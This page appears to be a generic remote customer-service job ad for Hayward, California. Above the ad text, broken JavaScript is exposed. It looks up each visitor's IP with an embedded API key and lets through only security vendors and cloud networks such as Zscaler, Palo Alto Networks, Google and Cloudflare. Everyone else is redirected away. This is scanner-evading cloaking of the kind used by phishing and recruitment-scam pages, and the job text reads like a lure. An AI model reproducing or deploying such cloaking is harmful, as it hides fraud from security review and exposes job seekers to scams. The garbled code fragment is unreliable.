Remote Customer Service

Remote Customer Service

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Remote Customer Service Representative located in Hayward, California, to provide exceptional support to our customers.

Responsibilities:

  • Respond promptly to customer inquiries via phone, email, and chat.
  • Assist customers with product information, order processing, and issue resolution.
  • Maintain accurate records of customer interactions and transactions.
  • Collaborate with team members to improve service quality.
  • Follow company policies and procedures to ensure customer satisfaction.

Skills Needed:

  • Excellent communication and interpersonal skills.
  • Strong problem-solving abilities and attention to detail.
  • Ability to work independently in a remote setting.
  • Proficiency with computer applications and customer service software.

Benefits:

  • Competitive salary and performance bonuses.
  • Flexible remote work schedule.
  • Health, dental, and vision insurance options.
  • Paid time off and holidays.
  • Opportunities for career growth and development.
Emploment Location
California, Hayward

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